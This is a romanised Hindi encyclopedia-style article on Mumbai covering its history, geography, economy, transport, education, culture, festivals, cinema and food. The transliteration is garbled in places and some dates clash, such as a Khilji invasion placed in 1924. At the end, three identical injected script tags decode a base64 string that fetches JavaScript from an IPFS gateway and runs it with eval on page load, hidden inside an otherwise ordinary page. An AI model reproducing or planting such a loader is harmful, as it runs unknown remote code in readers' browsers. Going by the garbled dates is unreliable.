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mumbee vishay soochi


mumbee
vivaran mumbee maharashtr rajy ki rajadhani hai. mumbee ko bharat ka pravesh dvar bhi kaha jata hai.
rajy maharashtr
zila mumbee
sthapana tisari shatabdi ee. poo mean samrat ashok dvara sthapit
bhaugolik sthiti uttar- 18°58′30″, poorv- 72°49′33″
marg sthiti mumbee shahar s dak dvara pune se 150 kimi, nasik se 172 kimi, nagapur se 847 kimi aur dilli se 1,398 kimi ki doori par sthit hai.
prasiddhi getave aauph iandiya, hotal taj, elipheanta ki guphaean, chhatrapati shivaji tarminas, juhoo chaupati adi.
kab jaean aktoobar se march
kaise pahuanchean jalayan, havaee jahaz, rel, bas adi se pahuancha ja sakata hai.
havaee adda chhatrapati shivaji aantarrashtriy vimanakshetr, navi muanbee antarrashtriy vimanakshetr, juhoo havaee adda
relave steshan chhatrapati shivaji tarminas, lokamany tilak tarminas relave steshan, muanbee seantral, muanbee upanagariy relave, dadar steshan, viktoriya relave steshan
bas adda rajy parivahan tarminal
yatayat saikil-riksha, aauto-riksha, taiksi, siti bas aur metro rel
kya dekhean mumbee paryatan
kahaan thaharean hotal, dharmashala, atithi grah
kya khayean v da pav, shrikhand, bhelapoori, pooran poli, poha, saboodana v da, phirani, malapua, katiang chay adi
es.ti.di. kod 022
e.ti.em lagabhag sabhi
chitr:Map-icon.gif googal manachitr
bhasha marathi, hindi, aangrezi aur gujarati
adyatan‎

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mumbee shahar, bhootapoorv banbee, maharashtr rajy ki rajadhani hai. mumbee ko bharat ka pravesh dvar bhi kaha jata hai. yah dakshin-pashchim bharat desh ka vittiy v vanijyik keandr aur arab sagar mean sthit pramukh bandaragah hai. mumbee duniya ke vishalatam v sabase ghani abadi vale shaharoan mean se ek hai. [[chitr:Gateway-Of-India-Mumbai.jpg|thumb|250px|left|getave aauph iandiya, mumbee]] mumbee ek prachin basti ke sthal par basa hua hai aur isaka namakaran bhagavan shankar ki patni parvati devi ke ek roop, sthaniy devi muanba ke nam par kiya gaya hai jinaka mandir us sthal par tha, jahaan par ab nagar ka dakshin-poorvi hissa avasthit hai. mumbee lanbe samay se bharat ke sooti vastr udyog ke keandr ke roop mean vikhyat raha hai, lekin ab yahaan vividh nirman udyog bhi haian aur isake vanijyik v vittiy sansthan sashakt aur sabal haian. is shahar mean adhikaansh b de, vikasashil audyogik nagaroan ki purani samasya vayu v jal pradooshan, jhuggi, basti aur atyadhik bhi dabha d maujood hai. dvipiy avasthiti ke karan mumbee ka vistar simit hai.

itihas

  1. REDIRECTsaancha:mukhy

machhuaroan ki mool janajati, koli yahaan ke arambhik jnat nivasi the, halaanki vrihad mumbee ke kandivali mean pae ge purapashan kal ke patthar ke auzar yahaan pashan kal ke dauran manav basti ki or sanket karate haian. prachin yoonani khagolashastri v bhoogolavijnani t aaulami ke samay mean yah kshetr heptenishiya ke roop mean jana jata tha aur yah 1000 varsh ee. poo. mean faras v misr ke sath samudri vyapar ka pramukh kendr tha. tisari shatabdi ee. poo. mean yah ashok ke samrajy ka hissa tha aur chhathi se athavian shatabdi mean yahaan chalukyoan ka shasan raha, jinhoanne apani chhap gharapuri (elifenta dvip) par chho di. malabar p aauint par bana vakeshvar mandir sambhavatah koankan tat ke shilahar pramukhoan ke shasan (9vian se 13vian shatabdi) ke dauran nirmit kiya gaya tha. dogiri ke yadavoan (1187-1318) ke samay mean is dvip (jo bambe dvip bana) par mahikavati (mahim) basti ki sthapana huee, jo 1924 mean hindustan ke khilaji vansh ke akramanoan ke javab mean banaee gee. inhian ke vanshaj vartaman mumbee mean pae jate haian aur bahut se sthanoan ke nam aj bhi usi yug se haian. 1348 mean akramanakari muslim senaoan ne is dvip ko jit liya aur yah gujarat rajy ka hissa ban gaya. mahim ko jitane ki purtagali koshish 1507 mean asaphal rahi, lekin 1534 mean gujarat ke shasak sultan bahadurashah ne yah dvip purtagaliyoan ko sauanp diya. 1661 mean kiang charls dvitiy v purtagal ke raja ki bahan kaitharin af braigeanza ke vivah ke bad yah british niyantran mean a gaya. raja ne ise 1668 mean eest iandiya kampani ko sattaantarit kar diya. shuruat mean kalakatta (vartaman kolakata) v madras (vartaman chennee) ki tulana mean banbee kampani ki bahut b di sampatti ne hokar keval pashchimi tat par kampani ki pair jamae rakhane mean sahayata karata tha.

adhunik dhang ki sooti vastr ki pahali mil ki sthapana 1818 mean kolakata ke samip phort glastar mean ki gayi thi, kintu yah asaphal rahi. punah 1851 mean muanbee mean ek mil sthapit ki gayi, jo asaphal rahi. sabase pahala saphal adhunik karakhana 1854 mean mumbee mean hi kavasaji dabar dvara khola gaya, jisamean 1856 mean utpadan prarambh hua. isake bad to bharat mean sooti vastr udyog ke vikas ka marg prashast ho gaya evan varsh 1988 tak bharat mean is udyog se sambandhit 1227 (1995 mean) miloan ki sthapana ki ja chuki thi, jisamean 771 miloan me keval soot ki kataee hoti thi, jabaki 283 milean kataee ke sath hi vastr nirman karane ka bhi kam karati thian.

bizanes kepital aauf iandiya

  1. REDIRECTsaancha:mukhy

mumbee ko pahale b aaumbe ke nam se jana jata tha. mumbee shahar ko bijanes kepital aauph iandiya ke nam se bhi jana jata hai. yahaan desh ke pramukh vittiy aur sanchar kendr hai. bharat ka sabase b da sheyar bazar, jisaka vishv mean tisara sthan hai, mumbee mean hi sthit hai. mumbee bharat ke pashchimi samudr tat par sthit hai. yah arabiyan samudr ke sat dvipoan ka ek hissa hai. isalie ise sat tapuoan ka nagar bhi kaha jata hai. mumbee samany roop se sat dvipoan jinake nam kolaba, majagaanv, old vooman dvip, vadala, mahim, parel aur matooanga-sayan par sthit hai. [[chitr:Hotel-Taj-Mumbai.jpg|thumb|250px|left|hotal taj, mumbee]] sanh 1661 mean ianglaiand ke maharaja charlh‍s ne purtagal ki rajakumari kaitarina de brigeanja se shadi ki thi. shadi mean dahej ke roop mean charlh‍s ko bambee shahar mila tha, jo vartaman samay mean mumbee ke nam se jana jata hai. lekin sanh 1668 mean mumbee eest iandiya kampani ke hathoan mean chala gaya. sanh 1868 mean maharani viktoriya ne shahar ke prashasan ko eest iandiya kampani se vapas le liya.[1]

bhautik evan manav bhoogol

  1. REDIRECTsaancha:mukhy

mumbee shahar prayadvipiy sthal par basa hua hai, jo moolatah pashchim bharat ke koankan tat ke pas sthit sat dvipikaoan se milakar bana hai. 17 vian shatabdi se apavah v bhoomi phir se hasil karane ki pariyojanaoan aur jalamargoan v jal avarodhakoan ke nirman ke karan ye dvipikaean milakar ek b de bhoobhag ka nirman karati haian, jise banbee dvip ke nam se jana jata tha. is dvip ke poorv mean mumbee bandaragah ka sthir jalakshetr hai. yah dvip nimn maidan se bana hai, jisaka ek chauthaee hissa samudr tal se bhi nicha hai; is maidan ke poorvi aur pashchimi kinaroan mean nichali paha diyoan ki do samanaantar parvatashreniyaan haian. inamean se lanbi parvatashreni dvara sudoor dakshin mean nirmit kolaba p aauiant mumbee bandaragah ko khule samudr se bachata hai. pashchimi parvatashreni malabar hil par samudr tal se 55 mitar ki ooanchaee par samapt hoti hai, jo mumbee ki sabase ooanche ilakoan mean se ek hai. in do parvat shreniyoan ke bich pashch kha di (baik be) ka chhichhala vistar hai. is kha di ke shirsh aur bandaragah ke bich kuchh ooanchi bhoopattikaoan par durg sthit hai, moolatah isi ke charoan or shahar ka vistar hua. ab yahaan mukhyatah sarvajanik evan vanijyik karyalay haian. pashch kha di se uttar ki or bhootal madhyavarti maidan ki disha mean dhalan vali hai. banbee ke sudoor uttar mean vishal khare daladal haian. [[chitr:Nehru-Planetarium-Mumbai.jpg|thumb|neharoo pleneteriyam, mumbee]]

shahar ki sanrachana

  1. REDIRECTsaancha:mukhy

thumb|250px|rajabaee ghantaghar, mumbee muanbee mean purane hisse zyada nirmit haian, lekin adhik samriddh kshetroan, jaise malabar hil mean kuchh hariyali hai. yahaan kee khule maidan v park haian. muanbee mean lagatar shaharikaran ke itihas ke karan shahar ke kee hissoan mean jhuggi bastiyaan ban geean haian. is shahar mean anek karakhanoan, badhate yatayat aur nikat sthit telashodhanashalaoan ke karan vayu evan jal pradooshan khatare ke star tak badh gaya hai. shahar ke dakshini hisse mean vittiy zila (purane fort banbee ke asapas) sthit hai. sudoor dakshin (kolaba ke asapas) aur pashchim mean netaji subhash chandr rod (marin draiv) tatha malabar hil avasi kshetr haian. fort kshetr ke uttar mean pramukh vyaparik zila hai, jo dhire-dhire vanijyik avasiy kshetr mean shamil ho raha hai. adhikaansh purane karakhane isi kshetr mean sthit haian. sudoor uttar mean avasiy kshetr haian aur unake bad hal hi mean vikasit audyogik kshetr aur jhuggi bastiyoan ke ilaqe haian. [[chitr:Nariman-Point-Mumbai.jpg|thumb|250px|left|nariman paiant, mumbee]]

arthavyavastha

  1. REDIRECTsaancha:mukhy

mumbee bharat ki arthik dhuri evan vanijyik v vittiy kendr hai. kuchh mayanoan mean isaki arthik sanrachana bharat mean nabhikiy aur puratan kaloan ke sanyojan ko pradarshit karati hai. is nagar mean bharatiy paramanu oorja ayog sthit hai, jisamean paramanu riaiktar aur plootoniyam vilagnak sthit hai. nagar ke kee hissoan mean ab bhi eeandhan aur oorja ke paramparik jaivik sadhanoan ka istemal hota hai.

parivahan

  1. REDIRECTsaancha:mukhy

mumbee s dak sanjal dvara bharat ke any hissoan se ju da hua hai. yah pashchim tatha madhy relave ka mukhyalay hai aur is nagar se chalane vali relaga diyaan bharat ke sabhi hissoan tak saman v yatriyoan ko le jati haian. chhatrapati shivaji aantarrashtriy havaee adda kee videshi havaee sevaoan ke agaman ka mahattvapoorn sthal hai. jabaki nikatasth santakrooz havaee adde se ghareloo u danean bhari jati haian. [[chitr:Mumbai-Chhatrapati-Shivaji-Terminus.jpg|thumb|250px|chhatrapati shivaji tarminas, mumbee]] mumbee mean bharat ke aantarrashtriy havaee yatayat ka 60 pratishat aur ghareloo yatayat ka lagabhag 40 pratishat hissa kendrit hai. yahaan ke bandaragah par upalabdh suvidhaoan ne mumbee ko desh ka pramukh pashchimi bandaragah bana diya hai. halaanki pashchimi tat par mumbee ke uttar mean kaandala aur dakshin mean gova v kochchi jaise kee any pramukh bandaragah ban ge haian, lekin yahaan se ab bhi bharat ke samudri vyapar ka 40 pratishat hissa sanchalit hota hai. do upanagariy vidyut relapranaliyaan mukhy sarvajanik parivahan upalabdh karati haian aur roz mahanagariy kshetr ke lakhoan logoan ko dhoti haian. mumbee mean nagarapalika ke svamitv vali bas seva bhi hai.

prashasanik evan samajik visheshataean

  1. REDIRECTsaancha:mukhy

sarakar

maharashtr ki rajadhani ke roop mean yah shahar rajy prashasan ka samekit rajanitik khand hai, jisake mukhyalay ko mantralay kaha jata hai. rajy sarakar pulis bal ko niyantrit karati hai aur nagar ke kuchh vibhagoan par prashasanik niyantran rakhati hai. dak evan teligraf pranali, rel, bandaragah aur havaee addoan jaise sanchar sadhanoan par kendr sarakar ka niyantran hai. thumb|250px|left|b aaumbe uchch nyayalay mumbee mean bharatiy nausena ki pashchimi kaman ka mukhyalay bhi hai aur yah bharatiy flaigaship ka bes bhi hai. shahar ka prashasan vrihad (gretar) mumbee ke poornatahsvayatt nagar nigam ke aantargat hai. isaki vidhayi sanstha ka nirvachan har char varsh mean vayask matadhikar dvara hota hai aur yah vibhinn sthayi samitiyoan ke madhyam se kam karati hai. rajy sarakar ke dvara tin varshoan ke lie niyukt mukhy karyakari yahaan ka nigam ayukt hota hai. mahapaur ka chunav har varsh nagar nigam dvara kiya jata hai; mahapaur nigam ki baithakoan ki adhyakshata karata hai aur shahar mean sarvadhik sammanit mana jata hai, lekin vastutah usake pas koee satta nahian hoti. 1885 mean kaangres ke pratham sthapana adhiveshan mumbee mean uttar pradesh se bhag lene vale mukhy pratinidhi gangaprasad varma the.

shiksha

  1. REDIRECTsaancha:mukhy

mumbee ki saksharata dar samooche rashtr ki saksharata dar se kafi adhik haian. prathamik shiksha muft v anivary hai aur yah nagar nigam ka dayitv hai. madhyamik shiksha sarakari v niji vidyalayoan dvara sarakar ki dekharekh mean karaee jati hai. yahaan sarvajanik evan niji paliteknik v sansthan haian, jo vidyarthiyoan ko yaantriki, vidyut tatha rasayanik ianjiniyari mean vibhinn digri v diploma dete haian. kendr sarakar ke dvara sanchalit bharatiy praudyogiki sansthan (aee. aee. ti.) bhi yahaan par sthit hai. any ianjiniyariang k aaulejoan mean:- [[chitr:Marine-Drive-Mumbai.jpg|thumb|300px|marin draeev, mumbee]]

  • saradar patel k aaulej aauf ianjiniyariang
  • viramata jijabaee teknolazikal ianstityoot
  • ke. ji. es. k aaulej aauf ianjiniyariang
  • em. ech. es. es. k aaulej aauf ianjiniyariang
  • di. je. es. k aaulej aauf ianjiniyariang
  • thodomal shahi ianjiniyariang k aaulej
  • vivekanand ianstityoot aauf teknolozi shamil haian.

1857 mean sthapit bambe vishvavidyalay se sambaddh kala, vijnan, vanijy v shiksha sambandhi mahavidyalay, chikitsa, homiyopaithi, yoonani chikitsa, farmesi v dant chikitsa mahavidyalay, vastushilp, sharirik shiksha evan prabandhan sansthan haian. mumbee mean mahilaoan ke lie es. en. di. ti. vishvavidyalay bhi hai. 1857 mean sthapit mumbee vishvavidyalay se bahut se mahavidyalay aur kee shikshan vibhag ju de hue haian. gova mean sthit bahut se mahavidyalay is vishvavidyalay se sambaddh haian.

kala aur sanskriti

  1. REDIRECTsaancha:mukhy

mumbee ka saanskritik jivan isaki jatiy vividhatayukt janasankhya ko pratibimbit karata hai. shahar mean bahut se sangrahalay, pustakalay, sahityik evan kee any saanskritik sansthan, kala, dirghaean v rangashalaean haian. bharat ka koee any shahar apani saanskritik evan manoranjan suvidhaoan ke mamale mean itani uchch shreni ki vividhata aur gunavatta ka shayad hi dava kar sake. [[chitr:Flora-Fountain-Mumbai.jpg|thumb|250px|flora fauanten, mumbee]] sal bhar yahaan pashchimi v bharatiy sangit sammelan evan mahotsav aur bharatiy nrity karyakram ayojit kie jate haian. iando-sarsenik vastushilp ki ek imarat mean d prians af vels myooziyam af vestarn iandiya hai, jisamean kala, puratattv v prakritik itihas ke tin pramukh vibhag haian. nikat hi jahaangir art gailari hai, jo mumbee ki pahali sthayi kala dirgha hai aur saanskritik v shaikshik gatividhiyoan ka kendr hai. mumbee bharatiy mudran udyog ka mahattvapoorn kendr hai aur yahaan sashakt pres hai. yahaan aangrezi, marathi, hindi, gujarati, sindhi v urdoo mean samachar patr prakashit hote haian. bahut-si masik, pakshik v saptahik patrikaean bhi yahaan se prakashit hoti haian. al-iandiya rediyo (akashavani) ka kshetriy kendr bhi mumbee mean hi hai aur is shahar ke lie dooradarshan sevaean 1972 mean shuroo hueean. shahar ke uttar mean krishnagiri van ek rashtriy udyan aur chhuttiyaan bitane ke lie khoobasoorat sairagah hai, kanheri gufaoan ke nikat ek prachin bauddh vishvavidyalay tha, yahaan 100 se adhik gufaoan mean doosari se nauvian shatabdi tak ke vishalakay bauddh moortishilp haian. yahaan par kee sarvajanik udyan haian. jisamean jijamata udyan shamil hai, yahaan par mumbee ka chi diyaghar sthit hai, yahaan par baipatista gardan bhi hai, jo mazagaanv mean ek jalashay par sthit hai; isake alava malabar hil par sthit firozashah mehata gardan, kamala neharoo park v slopiang park haian. samooche bharat mean lokapriy kriket ke maich bharatiy kriket klab (breborn stediyam) aur vanakhe de stediyam mean khele jate haian. dau d v saikil chalan pratiyogitaean vallabh bhaee patel stediyam mean ayojit ki jati hai. snan v tairaki ke lie juhoo samudr tat ek prasiddh sthan hai.

parv aur tyauhar

muanbee ke nivasi bharatiy tyauhar manane ke sath-sath any tyauhar bhi manate haian. dipavali, holi, eed, krisamas, navaratri, dashahara, durga pooja, mahashivaratri, muharram adi pramukh tyauhar haian. inake alava ganesh chaturthi aur janmashtami bhi adhik dhoom-dham ke sath manaye jate haian. ganesh-utsav mean shahar mean jagah jagah bahut vishal evan bhavy pandal lagaye jate haian, jinamean bhagavan ganapati ki vishal moortiyoan ki sthapana ki jati hai. ye moortiyaan das din bad anant chaudas ke din samudr mean visarjit kar di jati haian. janmashtami ke din sabhi muhalloan mean samitiyoan dvara bahut ooancha makhan ka mataka baandha jata hai. ise muhalle ke bachche aur l dake milakar jugat lagakar makhan ke matake ko pho date haian.

sinema

  1. REDIRECTsaancha:mukhy

mumbee bharatiy film udyog ka gadh hai. dada saheb phalke ne yahaan mook chalachitr ke dvara is udyog ki sthapana ki thi. isake bad hi yahaan marathi chalachitr ka bhi aranbh hua. aranbhik bisavian shatabdi mean yahaan sabase purani film prasarit huee thi. muanbee mean b di sankhya mean sinema h aaul haian, jo hindi, marathi aur aangrezi filmean dikhate haian. vishv mean sabase b da aeemaiks (IMAX) dom rangamanch bhi muanbee ke vadala mean sthit hai. muanbee aantarrashtriy film utsav aur filmapheyar puraskar ki vitaran karyakram sabha muanbaee mean hi ayojit hoti haian. halaanki muanbee ke british kal mean sthapit adhikaansh rangamanch samooh 1950 ke bad bhang ho chuke haian, phir bhi muanbee mean ek samriddh rangamanch sanskriti vikasit huee huee hai. ye hindi, marathi aur aangrezi, tinoan bhashaoan ke alava any kshetriy bhashaoan mean bhi vikasit hai. yahaan sine premiyoan ki kami nahian hai. anek niji vyavasayik evan sarakari kala-dirghaean khuli huee haian. inamean jahaangir kala dirgha aur rashtriy adhunik kala dirgha pramukh haian. 1833 mean bani banbee eshiyatik sosaiti mean shahar ka puratanatam pustakalay sthit hai.

bhojan

  1. REDIRECTsaancha:mukhy

mumbee mean kolaba b de miyaan, musaphir khanan gulashan-e-eeran, haji ali joos seantar, shiv sagar joohoo sthit hai. yah sab araban t daka ke lie prasiddh hai. ch aaukalet chay ke lie dadar sthit pashchim steshan ja sakate haian. jabaki pani poori ke lie baandra ke karachi svit jaya ja sakata hai. garm poha aur saboodana v da ke lie mahapalika marg ja sakate haian. horniman sarkal ke najadik apoorva mean mangaloriyan siphrood ka maja le sakate haian. bhiandi bazar aur noor mohammadi mean ramajan ke mahine mean yahaan s dak kinare lagane vali reh di se phirani aur malapua ka svad chakh sakate haian. svati snaiks jo taradiyo marg mean sthit hai. bharat ke behatarin snaiks milate haian. sindhudvar jo ar.ke. vidya ro d, dadar pashchim mean sthit hai; machhali ke liye prasiddh hai. isake alava yahaan ke chi dava aur laddoo ka svad bhi le sakate hai. bahut hi kam dam mean dakshin bharatiy shakahari khane ke lie ramanayak uddupi, matooanga keandriy steshan ke samip. agar ap baandra (pashchim) mean hai to lakki restaraan mean ja sakate haian. yah rastaraan birayani se lie prasiddh hai. gaandhi nagar sthit gomaantak haeeve, apana bazar, baandra (poorv) mean kokarni ke vibhinn vyanjan parose jate haian. isake alava kokarni khane ke lie sayaba, baandra (poorv) mean sthit hai. [1]

janasankhya

mumbee ki janasankhya 2001 ki janaganana ke anusar 33,26,837 hai aur mumbee upanagariy kshetr ki janasankhya 85,87,561 hai.


age jaean »


panne ki pragati avastha
adhar
prarambhik
madhyamik
poornata
shodh

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vithika

[[chitr:Flora-Fountain-Mumbai-1.jpg|x200px|alt=flora fauanten ka vihangam drishy|flora fauanten ka vihangam drishy]]
flora fauanten ka vihangam drishy

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tika tippani aur sandarbh

  1. 1.0 1.1 mumbee (hindi) (e.es.pi) yatra salah d aaut k aaum. abhigaman tithi: 25 march, 2011.

bahari k diyaan

sanbandhit lekh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>


varnamala kramanusar lekh khoj

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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>